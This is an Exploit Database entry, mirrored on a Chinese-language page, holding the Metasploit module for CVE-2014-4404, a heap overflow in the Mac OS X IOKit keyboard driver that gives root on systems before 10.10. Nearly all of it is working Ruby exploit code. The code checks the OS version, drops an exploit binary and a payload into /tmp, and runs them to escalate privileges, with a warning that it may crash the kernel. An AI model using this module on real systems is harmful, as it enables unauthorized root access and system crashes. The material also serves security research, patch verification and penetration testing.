Apple Mac OSX – IOKit Keyboard Driver Privilege Escalation (Metasploit)

• Exploit Database
• 36 阅读

• 作者： Metasploit
  日期： 2014-12-02
• 类别：

  • local
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/35440/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  require 'rex'
  
  class Metasploit3 < Msf::Exploit::Local
  Rank = ManualRanking # Can cause kernel crash
  
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info={})
  super(update_info(info,
  'Name'=> 'Mac OS X IOKit Keyboard Driver Root Privilege Escalation',
  'Description' => %q{
  A heap overflow in IOHIKeyboardMapper::parseKeyMapping allows kernel memory
  corruption in Mac OS X before 10.10. By abusing a bug in the IORegistry, kernel
  pointers can also be leaked, allowing a full kASLR bypass.
  
  Tested on Mavericks 10.9.5, and should work on previous versions.
  
  The issue has been patched silently in Yosemite.
  },
  'License' => MSF_LICENSE,
  'Author'=>
  [
  'Ian Beer', # discovery, advisory, publication, and a most excellent blog post
  'joev' # copy/paste monkey
  ],
  'References'=>
  [
  [ 'CVE', '2014-4404' ],
  [ 'URL', 'http://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html' ],
  # Heap overflow:
  [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=40' ],
  # kALSR defeat:
  [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=126' ]
  ],
  'Platform'=> 'osx',
  'Arch'=> ARCH_X86_64,
  'SessionTypes'=> [ 'shell', 'meterpreter' ],
  'Targets' => [
  [ 'Mac OS X 10.9.5 Mavericks x64 (Native Payload)', { } ]
  ],
  'DefaultTarget' => 0,
  'DisclosureDate' => 'Sep 24 2014'
  ))
  end
  
  def check
  if ver_lt(osx_ver, "10.10")
  Exploit::CheckCode::Vulnerable
  else
  Exploit::CheckCode::Safe
  end
  end
  
  def exploit
  exploit_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2014-4404')
  binary_exploit = File.read(File.join(exploit_path, 'key_exploit'))
  binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
  exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
  payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
  
  print_status("Writing exploit file as '#{exploit_file}'")
  write_file(exploit_file, binary_exploit)
  register_file_for_cleanup(exploit_file)
  
  print_status("Writing payload file as '#{payload_file}'")
  write_file(payload_file, binary_payload)
  register_file_for_cleanup(payload_file)
  
  print_status("Executing payload...")
  cmd_exec("chmod +x #{exploit_file}")
  cmd_exec("chmod +x #{payload_file}")
  cmd_exec("#{exploit_file} #{payload_file}")
  end
  
  def osx_ver
  cmd_exec("sw_vers -productVersion").to_s.strip
  end
  
  def ver_lt(a, b)
  Gem::Version.new(a) < Gem::Version.new(b)
  end
  
  end